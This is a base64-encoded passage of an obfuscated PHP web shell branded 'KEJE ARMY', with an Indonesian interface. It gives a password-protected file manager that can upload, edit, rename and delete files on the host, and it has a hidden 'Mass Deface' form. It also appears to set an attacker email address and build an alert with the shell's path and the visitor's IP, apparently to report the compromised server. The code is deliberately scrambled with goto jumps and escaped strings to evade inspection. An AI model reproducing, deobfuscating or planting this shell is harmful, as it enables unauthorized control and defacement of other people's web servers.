4MmRceDZkXDE0NVx4NzNceDczXDE0MVx4NjdceDY1XDQ3XHgzZVx4NDZceDY5XHg2Y1x4NjVcNDBceDYyXHg2NVwxNjJcMTUwXDE0MVx4NzNceDY5XHg2Y1x4MjBceDY0XHg2OVx4NzVceDZlXHg2N1x4NjdcMTQxXHg2OFw0MFwxNTNceDY1XHgyMFx4NzNceDY1XHg2ZFwxNjVceDYxXHgyMFwxNDRcMTUxXHg3Mlx4NjVcMTUzXDE2NFwxNTdcMTYyXDE1MVx4M2FceDIweyRmaWxlX25hbWV9XHgzY1w1N1wxNjBcNzYiOyB9IGVsc2UgeyBlY2hvICJcNzRcMTYwXDQwXDE0M1wxNTRcMTQxXHg3M1wxNjNceDNkXHgyN1x4NjVcMTYyXDE2MlwxNTdceDcyXDU1XHg2ZFx4NjVcMTYzXHg3M1x4NjFceDY3XDE0NVw0N1w3NlwxMTVceDYxXDE0MVx4NjZcNTRcNDBcMTY0XDE0NVwxNjJceDZhXHg2MVwxNDRcMTUxXDQwXHg2YlwxNDVcMTYzXDE0MVx4NmNceDYxXHg2OFx4NjFceDZlXHgyMFx4NzNcMTQxXDE0MVx4NzRceDIwXDE1NVx4NjVceDZlXDE0N1wxNjVceDZlXHg2N1x4NjdcMTQxXDE1MFw0MFwxNDZcMTUxXHg2Y1x4NjVceDNhXHgyMCI7IHN3aXRjaCAoJGZpbGVfZXJyb3IpIHsgY2FzZSBVUExPQURfRVJSX0lOSV9TSVpFOiBjYXNlIFVQTE9BRF9FUlJfRk9STV9TSVpFOiBlY2hvICJceDU1XDE1M1x4NzVceDcyXDE0MVwxNTZcNDBcMTQ2XDE1MVx4NmNceDY1XHgyMFwxNjRcMTQ1XDE2Mlx4NmNceDYxXHg2Y1wxNjVcNDBceDYyXDE0NVwxNjNceDYxXDE2Mlw1NiI7IGJyZWFrOyBjYXNlIFVQTE9BRF9FUlJfUEFSVElBTDogZWNobyAiXHg0Nlx4NjlcMTU0XDE0NVx4MjBceDY4XHg2MVwxNTZcMTcxXDE0MVw0MFwxNjNcMTQ1XDE0Mlx4NjFcMTQ3XHg2OVwxNDFcMTU2XHgyMFwxNjRceDY1XDE2MlwxNjVcMTU2XDE0N1x4NjdcMTQxXDE1MFx4MmUiOyBicmVhazsgY2FzZSBVUExPQURfRVJSX05PX0ZJTEU6IGVjaG8gIlx4NTRcMTUxXHg2NFwxNDFceDZiXHgyMFx4NjFceDY0XDE0MVw0MFwxNDZcMTUxXDE1NFwxNDVceDIwXDE3MVwxNDFcMTU2XDE0N1x4MjBceDY0XHg2OVx4NzVcMTU2XHg2N1x4NjdcMTQxXDE1MFw1NiI7IGJyZWFrOyBjYXNlIFVQTE9BRF9FUlJfTk9fVE1QX0RJUjogZWNobyAiXDEwNFwxNTFcMTYyXDE0NVwxNTNcMTY0XHg2ZlwxNjJcMTUxXDQwXHg3M1x4NjVceDZkXHg2NVwxNTZcMTY0XDE0MVx4NzJceDYxXDQwXDE2NFwxNTFceDY0XDE0MVx4NmJcNDBcMTQ0XHg2OVwxNjRcMTQ1XDE1NVwxNjVcMTUzXDE0MVwxNTZcNTYiOyBicmVhazsgY2FzZSBVUExPQURfRVJSX0NBTlRfV1JJVEU6IGVjaG8gIlx4NDdcMTQxXHg2N1wxNDFcMTU0XDQwXHg2ZFwxNDVcMTU2XDE2NVwxNTRceDY5XDE2M1w0MFx4NjZcMTUxXHg2Y1wxNDVceDIwXHg2Ylx4NjVcNDBceDY0XHg2OVwxNjNcMTUzXHgyZSI7IGJyZWFrOyBjYXNlIFVQTE9BRF9FUlJfRVhURU5TSU9OOiBlY2hvICJcMTI1XDE2MFx4NmNcMTU3XHg2MVwxNDRceDIwXHg2NlwxNTFceDZjXHg2NVw0MFx4NjRceDY5XDE1MFwxNDVceDZlXDE2NFwxNTFcMTUzXHg2MVwxNTZceDIwXDE1N1wxNTRceDY1XHg2OFw0MFwxNDVceDZiXDE2M1wxNjRceDY1XHg2ZVwxNjNcMTUxXDQwXHg1MFx4NDhcMTIwXDU2IjsgYnJlYWs7IGRlZmF1bHQ6IGVjaG8gIlx4NTRceDY1XDE2Mlx4NmFceDYxXHg2NFwxNTFcNDBcMTUzXDE0NVwxNjNceDYxXHg2Y1x4NjFceDY4XDE0MVx4NmVcNDBcMTcxXDE0MVx4NmVceDY3XHgyMFx4NzRcMTUxXHg2NFx4NjFceDZiXHgyMFwxNDRceDY5XDE1M1wxNDVcMTY0XHg2MVwxNTBceDc1XDE1MVx4MmUiOyBicmVhazsgfSBlY2hvICJcNzRceDJmXDE2MFw3NiI7IH0gfSBnb3RvIFhYVGVJOyBualFuUjogaWYgKCFpc3NldCgkX1NFU1NJT05bIlx4NjFceDc1XHg3NFx4NjhceDY1XHg2ZVwxNjRcMTUxXDE0M1x4NjFcMTY0XHg2NVwxNDQiXSkpIHsgZWNobyAiXDc0XDE0NlwxNTdcMTYyXHg2ZFw0MFwxNTVceDY1XDE2NFwxNTBcMTU3XDE0NFx4M2RcNDJcMTYwXDE1N1wxNjNcMTY0XHgyMlw3NiI7IGVjaG8gIlw3NFx4NmNceDYxXHg2Mlx4NjVcMTU0XHgyMFx4NjZceDZmXHg3Mlw3NVw0Mlx4NzBcMTQxXDE2M1wxNjNceDc3XDE1N1wxNjJceDY0XDQyXDc2XHg0YlwxMDVcMTEyXHg0NVx4MjBceDQxXDEyMlwxMTVcMTMxXDc0XDU3XHg2Y1wxNDFceDYyXDE0NVwxNTRceDNlXHgzY1wxNDJceDcyXHgzZSI7IGVjaG8gIlx4M2NcMTUxXDE1Nlx4NzBceDc1XHg3NFw0MFwxNjRceDc5XHg3MFx4NjVcNzVceDIyXHg3MFx4NjFcMTYzXDE2M1x4NzdcMTU3XHg3MlwxNDRcNDJcNDBcMTU2XDE0MVwxNTVcMTQ1XHgzZFx4MjJcMTYwXDE0MVwxNjNceDczXDE2N1wxNTdceDcyXDE0NFw0Mlw0MFx4NzJcMTQ1XHg3MVwxNjVceDY5XDE2MlwxNDVceDY0XDc2XDc0XDE0MlwxNjJceDNlIjsgZWNobyAiXHgzY1x4NjlcMTU2XDE2MFwxNjVceDc0XHgyMFx4NzRceDc5XHg3MFwxNDVcNzVcNDJceDczXDE2NVwxNDJceDZkXHg2OVwxNjRcNDJceDIwXHg3NlwxNDFcMTU0XDE2NVx4NjVceDNkXDQyXDEyM1x4NzVcMTQyXHg2ZFx4NjlceDc0XDQyXHgzZVw3NFx4NjJcMTYyXHgzZSI7IGlmICgkcGFzc3dvcmRfZXJyb3IpIHsgZWNobyAiXHgzY1wxNjBceDIwXHg2M1wxNTRceDYxXHg3M1wxNjNceDNkXDQ3XHg2NVwxNjJcMTYyXHg2Zlx4NzJcNTVceDZkXDE0NVwxNjNceDczXDE0MVx4NjdceDY1XHgyN1x4M2V7JHBhc3N3b3JkX2Vycm9yfVw3NFw1N1wxNjBcNzYiOyB9IGVjaG8gIlx4M2NcNTdcMTQ2XDE1N1wxNjJcMTU1XHgzZSI7IGVjaG8gIlw3NFw1N1wxNDJceDZmXHg2NFwxNzFcNzZcNzRcNTdcMTUwXDE2NFwxNTVcMTU0XHgzZSI7IGRpZTsgfSBnb3RvIFIwc0RPOyBYaU5UMzogJGRpcmVjdG9yeSA9IGlzc2V0KCRfR0VUWyJceDY0XHg2OVx4NzIiXSkgPyByZWFscGF0aCgkX0dFVFsiXHg2NFwxNTFcMTYyIl0pIDogcmVhbHBhdGgoX19ESVJfXyk7IGdvdG8gYU9Dc1k7IFhYVGVJOiBpZiAoJF9TRVJWRVJbIlx4NTJcMTA1XHg1MVwxMjVcMTA1XHg1M1x4NTRcMTM3XDExNVx4NDVcMTI0XDExMFx4NGZceDQ0Il0gPT09ICJceDQ3XDEwNVx4NTQiICYmIGlzc2V0KCRfR0VUWyJceDYxXHg2M1x4NzRceDY5XDE1N1wxNTYiXSkgJiYgJF9HRVRbIlx4NjFceDYzXDE2NFwxNTFcMTU3XHg2ZSJdID09PSAiXHg2NFx4NjVceDZjXDE0NVx4NzRceDY1IiAmJiBpc3NldCgkX0dFVFsiXDE0NlwxNTFceDZjXDE0NSJdKSkgeyAkZmlsZV9wYXRoID0gJF9HRVRbIlx4NjZceDY5XDE1NFx4NjUiXTsgaWYgKGZpbGVfZXhpc3RzKCRmaWxlX3BhdGgpKSB7IGlmICh1bmxpbmsoJGZpbGVfcGF0aCkpIHsgZWNobyAiXDc0XDE2MFx4MjBcMTQzXDE1NFwxNDFcMTYzXDE2M1w3NVx4MjdceDczXDE2NVx4NjNceDYzXDE0NVx4NzNceDczXDU1XDE1NVwxNDVcMTYzXHg3M1x4NjFcMTQ3XDE0NVx4MjdcNzZceDQ2XDE1MVwxNTRcMTQ1XHgyMFwxNDJcMTQ1XDE2Mlx4NjhcMTQxXHg3M1x4NjlceDZjXDQwXDE0NFx4NjlceDY4XHg2MVwxNjBcMTY1XHg3M1w3Mlw0MCIgLiBiYXNlbmFtZSgkZmlsZV9wYXRoKSAuICJcNzRcNTdcMTYwXHgzZSI7IH0gZWxzZSB7IGVjaG8gIlw3NFx4NzBceDIwXHg2M1wxNTRcMTQxXHg3M1wxNjNceDNkXHgyN1wxNDVceDcyXDE2MlwxNTdcMTYyXHgyZFwxNTVcMTQ1XHg3M1wxNjNceDYxXHg2N1x4NjVcNDdceDNlXHg0N1x4NjFceDY3XHg2MVx4NmNcNDBceDZkXHg2NVx4NmVcMTQ3XHg2OFwxNDFcMTYwXHg3NVx4NzNcNDBceDY2XDE1MVwxNTRcMTQ1XHgzYVx4MjAiIC4gYmFzZW5hbWUoJGZpbGVfcGF0aCkgLiAiXDc0XHgyZlx4NzBceDNlIjsgfSB9IGVsc2UgeyBlY2hvICJceDNjXHg3MFx4MjBceDYzXHg2Y1x4NjFcMTYzXHg3M1x4M2RceDI3XDE0NVx4NzJceDcyXDE1N1x4NzJcNTVceDZkXDE0NVx4NzNceDczXHg2MVx4NjdceDY1XHgyN1x4M2VcMTA2XHg2OVx4NmNcMTQ1XHgyMFx4NzRceDY5XDE0NFwxNDFcMTUzXHgyMFx4NjRceDY5XDE2NFwxNDVcMTU1XDE2NVx4NmJcMTQxXHg2ZVw3Mlx4MjAiIC4gYmFzZW5hbWUoJGZpbGVfcGF0aCkgLiAiXDc0XHgyZlx4NzBcNzYiOyB9IH0gZ290byBRc1FEdTsga3pVUUs6IGVjaG8gcmVhbHBhdGgoX19ESVJfXyk7IGdvdG8gSmdxMnM7IHAzVTJsOiBlY2hvICRkaXJlY3Rvcnk7IGdvdG8gR0dETDU7IERmbnh0OiA/PgoiaWQ9ImRpcklucHV0Ij48L2Zvcm0+PHNjcmlwdD5mdW5jdGlvbiBjb25maXJtRGVsZXRlKGUpe3JldHVybiBjb25maXJtKCJBcGFrYWggQW5kYSB5YWtpbiBpbmdpbiBtZW5naGFwdXMgZmlsZSAnIitlKyInPyIpfWRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLGZ1bmN0aW9uKCl7Zm9yKHZhciBlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJkaXJJbnB1dCIpLnZhbHVlLnNwbGl0KCIvIiksbj0iIix0PTA7dDxlLmxlbmd0aDt0Kyspe24rPWVbdF0rIi8iO3ZhciBkPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTtkLmhyZWY9Ij9kaXI9IituLGQudGV4dENvbnRlbnQ9ZVt0XSxkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGQpLHQ8ZS5sZW5ndGgtMSYmZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZSgiLyIpKX19KTwvc2NyaXB0Pjxmb3JtIGFjdGlvbj0iImVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEibWV0aG9kPSJwb3N0Ij48bGFiZWwgZm9yPSJmaWxlIj5VcGxvYWQgRmlsZSBEaXNpbmk6PC9sYWJlbD48YnI+PGlucHV0IG5hbWU9InVwbG9hZGVkX2ZpbGUidHlwZT0iZmlsZSI+PGJyPjxpbnB1dCBuYW1lPSJhY3Rpb24idHlwZT0ic3VibWl0InZhbHVlPSJVcGxvYWQiPjwvZm9ybT48Zm9ybSBhY3Rpb249IiJlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIm1ldGhvZD0icG9zdCJpZD0idXBsb2FkQWxsRm9ybSJzdHlsZT0iZGlzcGxheTpub25lIj48bGFiZWwgZm9yPSJmaWxlQWxsIj5NYXNzIERlZmFjZTo8L2xhYmVsPjxicj48aW5wdXQgbmFtZT0idXBsb2FkZWRfZmlsZV9hbGwidHlwZT0iZmlsZSI+PGJyPjxpbnB1dCBuYW1lPSJhY3Rpb24idHlwZT0ic3VibWl0InZhbHVlPSJNYXNzIERlZmFjZSI+PC9mb3JtPjw/cGhwICBnb3RvIElZWVR3OyBHSVBKNjogaW5pX3NldCgiXHg2NFx4NjlcMTYzXDE2MFwxNTRcMTQxXDE3MVwxMzdcMTQ1XHg3MlwxNjJceDZmXHg3MlwxNjMiLCAxKTsgZ290byBSVWp2UTsgS2poN3g6IGZ1bmN0aW9uIGRpc3BsYXlGaWxlcygkZGlyZWN0b3J5KSB7ICRmaWxlcyA9IGdldEZpbGVzKCRkaXJlY3RvcnkpOyBlY2hvICJceDNjXDE2NFwxNDFcMTQyXDE1NFwxNDVceDNlIjsgZWNobyAiXDc0XDE2NFwxNjJceDNlXHgzY1wxNjRceDY4XDc2XHg0NlwxNTFceDZjXHg2NVx4MmZcMTA2XHg2ZlwxNTRceDY0XDE0NVwxNjJcNzRceDJmXHg3NFx4NjhcNzZceDNjXDE2NFx4NjhcNzZceDQxXHg2M1x4NzRcMTUxXDE1N1wxNTZceDczXHgzY1x4MmZceDc0XHg2OFw3Nlw3NFx4MmZceDc0XDE2Mlw3NiI7IGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgeyAkZmlsZVBhdGggPSAkZGlyZWN0b3J5IC4gIlx4MmYiIC4gJGZpbGU7IGVjaG8gIlx4M2NceDc0XDE2Mlw3NiI7IGlmIChpc19kaXIoJGZpbGVQYXRoKSkgeyBlY2hvICJceDNjXHg3NFx4NjRceDNlXHgzY1x4NjFceDIwXDE1MFwxNjJceDY1XHg2Nlx4M2RceDI3XHgzZlwxNDRceDY5XHg3Mlx4M2R7JGZpbGVQYXRofVw0N1w3NnskZmlsZX1ceDJmXHgzY1x4MmZceDYxXDc2XHgzY1x4MmZcMTY0XDE0NFw3NiI7IGVjaG8gIlx4M2NceDc0XHg2NFw3Nlw3NFx4MmZcMTY0XDE0NFx4M2UiOyB9IGVsc2UgeyBlY2hvICJcNzRceDc0XHg2NFw3Nlw3NFwxNDFceDIwXHg2OFwxNjJceDY1XHg2Nlw3NVx4Mjd7JGZpbGVQYXRofVw0N1w3NnskZmlsZX1cNzRceDJmXDE0MVw3Nlx4M2NceDJmXHg3NFx4NjRceDNlIjsgZWNobyAiXHgzY1wxNjRcMTQ0XHgzZSI7IGVjaG8gIlw3NFwxNDFcNDBcMTUwXHg3MlwxNDVceDY2XDc1XHgyN1x4M2ZceDYxXDE0M1x4NzRcMTUxXHg2ZlwxNTZceDNkXDE0NVwxNDRcMTUxXHg3NFw0Nlx4NjZcMTUxXDE1NFwxNDVcNzV7JGZpbGVQYXRofVw0N1w3NlwxMDVceDY0XHg2OVwxNjRceDNjXHgyZlwxNDFcNzZceDIwXDE3NFw0MCI7IGVjaG8gIlx4M2NcMTQxXDQwXDE1MFx4NzJceDY1XHg2Nlx4M2RceDI3XDc3XDE0MVx4NjNceDc0XHg2OVwxNTdcMTU2XDc1XHg3Mlx4NjVcMTU2XHg2MVwxNTVceDY1XHgyNlx4NjZceDY5XHg2Y1x4NjVceDNkeyRmaWxlUGF0aH1ceDI3XDc2XDEyMlwxNDVcMTU2XDE0MVwxNTVcMTQ1XHgzY1x4MmZcMTQxXHgzZVw0MFx4N2NceDIwIjsgZWNobyAiXHgzY1wxNDFceDIwXDE1MFx4NzJceDY1XDE0Nlx4M2RcNDdceDNmXDE0MVx4NjNcMTY0XDE1MVx4NmZcMTU2XHgzZFx4NjRcMTQ1XHg2Y1wxNDVceDc0XHg2NVx4MjZceDY2XDE1MVwxNTRcMTQ1XDc1eyRmaWxlUGF0aH1ceDI3XDQwXHg2ZlwxNTZcMTQzXDE1NFwxNTFcMTQzXHg2Ylw3NVx4MjdceDcyXHg2NVwxNjRcMTY1XDE2Mlx4NmVceDIwXHg2M1x4NmZcMTU2XHg2NlwxNTFceDcyXHg2ZFx4NDRceDY1XHg2Y1x4NjVcMTY0XHg2NVw1MFw0MnskZmlsZX1cNDJceDI5XHgyN1x4M2VcMTA0XDE0NVx4NmNcMTQ1XDE2NFx4NjVceDNjXHgyZlx4NjFcNzYiOyBlY2hvICJceDNjXDU3XHg3NFwxNDRcNzYiOyB9IGVjaG8gIlw3NFw1N1x4NzRceDcyXDc2IjsgfSBlY2hvICJceDNjXHgyZlwxNjRceDYxXHg2MlwxNTRceDY1XDc2IjsgfSBnb3RvIHE4N0tLOyBhT0NzWTogPz4KPHA+Q3VycmVudCBEaXJlY3Rvcnk6PD9waHAgIGdvdG8gcDNVMmw7IFlvRUtaOiBpbmlfc2V0KCJceDY0XHg2OVwxNjNcMTYwXDE1NFwxNDFcMTcxXHg1Zlx4NjVcMTYyXDE2Mlx4NmZcMTYyXDE2MyIsIDApOyBnb3RvIFNiRV9yOyBDdVhJQzogaW5pX3NldCgiXHg2Zlx4NzVcMTY0XHg3MFx4NzVcMTY0XDEzN1wxNDJceDc1XDE0Nlx4NjZcMTQ1XDE2Mlx4NjlceDZlXDE0NyIsIDApOyBnb3RvIFlvRUtaOyB1eWQ3dTogPz4KPGZvcm0gaWQ9ImRpckZvcm0iPjxpbnB1dCBuYW1lPSJkaXIidHlwZT0iaGlkZGVuInZhbHVlPSI8P3BocCAgZ290byBQM3VXVTsgR0dETDU6ID8+CjwvcD48ZGl2IGNsYXNzPSJidXR0b24tY29udGFpbmVyIj48YSBjbGFzcz0iYnV0dG9uImhyZWY9Ij9kaXI9PD9waHAgIGdvdG8ga3pVUUs7IFVhcmJXOiAkcGFzc3dvcmRfZXJyb3IgPSAnJzsgZ290byBEUjNRRjsgdjluWTE6IHNlc3Npb25fc3RhcnQoKTsgZ290byBRRWdqbTsgRFIzUUY6IGlmICghaXNzZXQoJF9TRVNTSU9OWyJceDYxXDE2NVwxNjRceDY4XHg2NVx4NmVcMTY0XDE1MVx4NjNcMTQxXHg3NFx4NjVceDY0Il0pKSB7IGlmICgkX1NFUlZFUlsiXHg1MlwxMDVcMTIxXDEyNVwxMDVcMTIzXHg1NFwxMzdcMTE1XDEwNVx4NTRceDQ4XDExN1wxMDQiXSA9PT0gIlx4NTBcMTE3XHg1M1x4NTQiICYmIGlzc2V0KCRfUE9TVFsiXDE2MFwxNDFcMTYzXDE2M1wxNjdceDZmXDE2Mlx4NjQiXSkpIHsgaWYgKCRfUE9TVFsiXDE2MFx4NjFcMTYzXHg3M1x4NzdceDZmXDE2MlwxNDQiXSA9PT0gJGNvcnJlY3RfcGFzc3dvcmQpIHsgJF9TRVNTSU9OWyJcMTQxXHg3NVx4NzRcMTUwXHg2NVx4NmVceDc0XHg2OVwxNDNceDYxXDE2NFx4NjVcMTQ0Il0gPSB0cnVlOyBoZWFkZXIoIlwxMTRcMTU3XHg2M1wxNDFceDc0XHg2OVx4NmZceDZlXHgzYVw0MCIgLiAkX1NFUlZFUlsiXDEyMlx4NDVcMTIxXHg1NVwxMDVcMTIzXDEyNFwxMzdceDU1XHg1Mlx4NDkiXSk7IGRpZTsgfSBlbHNlIHsgJHBhc3N3b3JkX2Vycm9yID0gIlx4NTBcMTQxXDE2M1wxNjNceDc3XHg2ZlwxNjJceDY0XHgyMFwxNjNcMTQxXHg2Y1x4NjFcMTUwXHgyMSI7IH0gfSB9IGdvdG8gQ3VYSUM7IFh5OEZ0OiAkdHVqdWFubWFpbCA9ICJceDY2XDE2Mlx4NjVcMTQ1XDE0Nlx4NjlcMTYyXDE0NVx4NjdcMTY0XHg0MFx4NzBceDcyXHg2Zlx4NzRceDZmXHg2ZVx4MmVcMTU1XHg2NSI7IGdvdG8gdXBhaFk7IG9DbkYwOiBmdW5jdGlvbiByZW5hbWVGaWxlKCRmaWxlX3BhdGgpIHsgaWYgKCRfU0VSVkVSWyJcMTIyXDEwNVx4NTFcMTI1XHg0NVx4NTNceDU0XDEzN1wxMTVceDQ1XHg1NFx4NDhceDRmXDEwNCJdID09PSAiXDEyMFwxMTdcMTIzXDEyNCIgJiYgaXNzZXQoJF9QT1NUWyJcMTU2XHg2NVwxNjdcMTM3XDE1Nlx4NjFcMTU1XHg2NSJdKSkgeyAkZGlyZWN0b3J5ID0gZGlybmFtZSgkZmlsZV9wYXRoKTsgJG5ld19uYW1lID0gJF9QT1NUWyJcMTU2XHg2NVwxNjdcMTM3XDE1NlwxNDFcMTU1XDE0NSJdOyAkbmV3X3BhdGggPSAkZGlyZWN0b3J5IC4gIlw1NyIgLiAkbmV3X25hbWU7IGlmIChyZW5hbWUoJGZpbGVfcGF0aCwgJG5ld19wYXRoKSkgeyBlY2hvICJcNzRceDcwXDQwXDE0M1wxNTRcMTQxXHg3M1wxNjNcNzVceDI3XHg3M1wxNjVcMTQzXDE0M1x4NjVcMTYzXHg3M1x4MmRceDZkXHg2NVx4NzNceDczXDE0MVx4NjdceDY1XDQ3XDc2XDEwNlx4NjlceDZjXHg2NVx4MjBcMTQyXHg2NVwxNjJcMTUwXDE0MVx4NzNcMTUxXHg2Y1w0MFwxNDRceDY5XDE2NVwxNDJceDYxXHg2OFw0MFx4NmVceDYxXDE1NVx4NjFceDZlXDE3MVwxNDFceDIwXHg2ZFx4NjVceDZlXHg2YVx4NjFcMTQ0XDE1MVx4M2FceDIweyRuZXdfbmFtZX1ceDNjXHgyZlwxNjBcNzYiOyB9IGVsc2UgeyBlY2hvICJcNzRcMTYwXDQwXDE0M1wxNTRcMTQxXDE2M1wxNjNcNzVcNDdcMTQ1XHg3Mlx4NzJcMTU3XHg3Mlw1NVwxNTVcMTQ1XDE2M1wxNjNcMTQxXDE0N1wxNDVcNDdcNzZceDQ3XDE0MVwxNDdcMTQxXHg2Y1w0MFx4NmRcMTQ1XDE1Nlx4NjdceDc1XDE0Mlx4NjFcMTUwXDQwXDE1Nlx4NjFcMTU1XHg2MVx4MjBceDY2XDE1MVx4NmNceDY1XHgyZVx4M2NcNTdceDcwXDc2IjsgfSB9ICRmaWxlX25hbWUgPSBiYXNlbmFtZSgkZmlsZV9wYXRoKTsgZWNobyAiXDc0XDE0NlwxNTdceDcyXHg2ZFx4MjBcMTU1XHg2NVx4NzRcMTUwXDE1N1wxNDRceDNkXHgyN1wxNjBcMTU3XDE2M1wxNjRceDI3XHgzZSI7IGVjaG8gIlx4M2NcMTU0XHg2MVwxNDJceDY1XDE1NFx4MjBceDY2XHg2Zlx4NzJceDNkXDQ3XHg2ZVwxNDVcMTY3XHg1Zlx4NmVcMTQxXHg2ZFwxNDVceDI3XDc2XDExNlwxNDVcMTY3XHgyMFwxMTZcMTQxXDE1NVwxNDVceDNhXDc0XHgyZlwxNTRcMTQxXHg2Mlx4NjVceDZjXDc2IjsgZWNobyAiXHgzY1wxNTFceDZlXHg3MFx4NzVcMTY0XHgyMFwxNjRceDc5XHg3MFwxNDVcNzVceDI3XDE2NFwxNDVceDc4XDE2NFw0N1x4MjBceDZlXHg2MVx4NmRceDY1XHgzZFw0N1wxNTZceDY1XDE2N1x4NWZcMTU2XHg2MVx4NmRceDY1XHgyN1w0MFwxNjZceDYxXDE1NFx4NzVcMTQ1XHgzZFx4Mjd7JGZpbGVfbmFtZX1cNDdceDNlXHgzY1x4NjJcMTYyXHgzZSI7IGVjaG8gIlx4M2NceDY5XHg2ZVx4NzBceDc1XHg3NFx4MjBceDc0XDE3MVwxNjBcMTQ1XDc1XDQ3XDE2M1wxNjVcMTQyXHg2ZFwxNTFceDc0XDQ3XDQwXHg3Nlx4NjFceDZjXDE2NVwxNDVceDNkXDQ3XDEyMlx4NjVcMTU2XHg2MVx4NmRceDY1XHgyN1x4M2UiOyBlY2hvICJceDNjXHgyZlwxNDZceDZmXDE2Mlx4NmRceDNlIjsgfSBnb3RvIFhDNmtHOyBSMHNETzogPz4KPGgyPktFSkUgQVJNWTwvaDI+PGltZyBhbHQ9IkxvZ28iaWQ9ImxvZ28ic3JjPSJodHRwczovL2kuaWJiLmNvL1RUcHp3eEcvMjAyMzEwMjQtMDAwMDAxLXBpY3NheS5wbmciPjw/cGhwICBnb3RvIFhpTlQzOyB3blVuWTogZnVuY3Rpb24gZ2V0RGlyZWN0b3JpZXMoJGRpcmVjdG9yeSkgeyAkZGlycyA9IGFycmF5KCk7ICRkaXIgPSBvcGVuZGlyKCRkaXJlY3RvcnkpOyB3aGlsZSAoKCRmaWxlID0gcmVhZGRpcigkZGlyKSkgIT09IGZhbHNlKSB7IGlmICgkZmlsZSAhPSAiXDU2IiAmJiAkZmlsZSAhPSAiXDU2XDU2IiAmJiBpc19kaXIoJGRpcmVjdG9yeSAuICJceDJmIiAuICRmaWxlKSkgeyAkZGlyc1tdID0gcmVhbHBhdGgoJGRpcmVjdG9yeSAuICJcNTciIC4gJGZpbGUpOyAkZGlycyA9IGFycmF5X21lcmdlKCRkaXJzLCBnZXREaXJlY3RvcmllcygkZGlyZWN0b3J5IC4gIlx4MmYiIC4gJGZpbGUpKTsgfSB9IGNsb3NlZGlyKCRkaXIpOyByZXR1cm4gJGRpcnM7IH0gZ290byBLamg3eDsgU2JFX3I6IHNldF90aW1lX2xpbWl0KDApOyBnb3RvIG9CWnE0OyBCa0FPaTogJHBlc2FuX2FsZXJ0ID0gIlx4NjZceDY5XDE3MFw0MHskeF9wYXRofVx4MjBcNzJcMTYwXHgyMFw1Mlx4NDlceDUwXHgyMFwxMDFcMTQ0XDE0NFwxNjJceDY1XDE2M1wxNjNceDIwXDcyXDQwXDEzM1x4MjAiIC4gJF9TRVJWRVJbIlx4NTJcMTA1XHg0ZFwxMTdcMTI0XHg0NVx4NWZcMTAxXHg0NFwxMDRceDUyIl0gLiAiXDQwXDEzNSI7IGdvdG8gcWxwR2k7IFVJZGE4OiA/Pgo8IWRvY3R5cGVodG1sPjxodG1sIGxhbmc9ImVuIj48aGVhZD48bWV0YSBjaGFyc2V0PSJVVEYtOCI+PG1ldGEgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLGluaXRpYWwtc2NhbGU9MSJuYW1lPSJ2aWV3cG9ydCI+PHRpdGxlPktFSkUgQVJNWTwvdGl0bGU+PHN0eWxlPmJvZHl7Zm9udC1mYW1pbHk6QXJpYWwsc2Fucy1zZXJpZjtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Y29sb3I6I2ZmZjt0ZXh0LWFsaWduOmNlbnRlcjtwYWRkaW5nLXRvcDoyMHB4fWgye2NvbG9yOnJlZH10YWJsZXttYXJnaW46MCBhdXRvO3dpZHRoOjgwJTtib3JkZXItY29sbGFwc2U6Y29sbGFwc2V9dGQsdGh7cGFkZGluZzoxMHB4O2JvcmRlcjoxcHggc29saWQgI2ZmZjt0ZXh0LWFsaWduOmxlZnR9YXtjb2xvcjojMjFhNjIyO3RleHQtZGVjb3JhdGlvbjpub25lfWE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZX1pbnB1dFt0eXBlPWZpbGVdLGlucHV0W3R5cGU9cGFzc3dvcmRdLGlucHV0W3R5cGU9c3VibWl0XSxpbnB1dFt0eXBlPXRleHRde21hcmdpbi1ib3R0b206MTBweH0uc3VjY2Vzcy1tZXNzYWdle2NvbG9yOmdyZWVufS5lcnJvci1tZXNzYWdle2NvbG9yOnJlZH0jbG9nb3t3aWR0aDoxMDBweDtoZWlnaHQ6YXV0b30uYnV0dG9ue2Rpc3BsYXk6aW5saW5lLWJsb2NrO3BhZGRpbmc6MTBweCAyMHB4O2JhY2tncm91bmQtY29sb3I6cmVkO2NvbG9yOiNmZmY7Ym9yZGVyOm5vbmU7Ym9yZGVyLXJhZGl1czo1cHg7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Zm9udC1zaXplOjE2cHg7bWFyZ2luOjVweH0uYnV0dG9uOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2MwMH0uYnV0dG9uLWNvbnRhaW5lcntkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OmNlbnRlcjtmbGV4LXdyYXA6d3JhcDtnYXA6MTBweH08L3N0eWxlPjwvaGVhZD48Ym9keT48P3BocCAgZ290byBualFuUjsgeFdlNEU6IGlmICgkX1NFUlZFUlsiXHg1MlwxMDVceDUxXDEyNVx4NDVcMTIzXHg1NFwxMzdcMTE1XDEwNVx4NTRceDQ4XDExN1wxMDQiXSA9PT0gIlx4NDdcMTA1XDEyNCIgJiYgaXNzZXQoJF9HRVRbIlx4NjFceDYzXDE2NFwxNTFceDZmXHg2ZSJdKSAmJiAkX0dFVFsiXHg2MVwxNDNceDc0XDE1MVx4NmZcMTU2Il0gPT09ICJceDcyXHg2NVwxNTZceDYxXDE1NVwxNDUiICYmIGlzc2V0KCRfR0VUWyJceDY2XDE1MVx4NmNcMTQ1Il0pKSB7ICRmaWxlX3BhdGggPSAkX0dFVFsiXHg2Nlx4NjlcMTU0XHg2NSJdOyByZW5hbWVGaWxlKCRmaWxlX3BhdGgpOyB9IGdvdG8gY1hPX0c7IFFFZ2ptOiBlcnJvcl9yZXBvcnRpbmcoRV9BTEwpOyBnb3RvIEdJUEo2OyB1cGFoWTogJHhfcGF0aCA9ICJceDY4X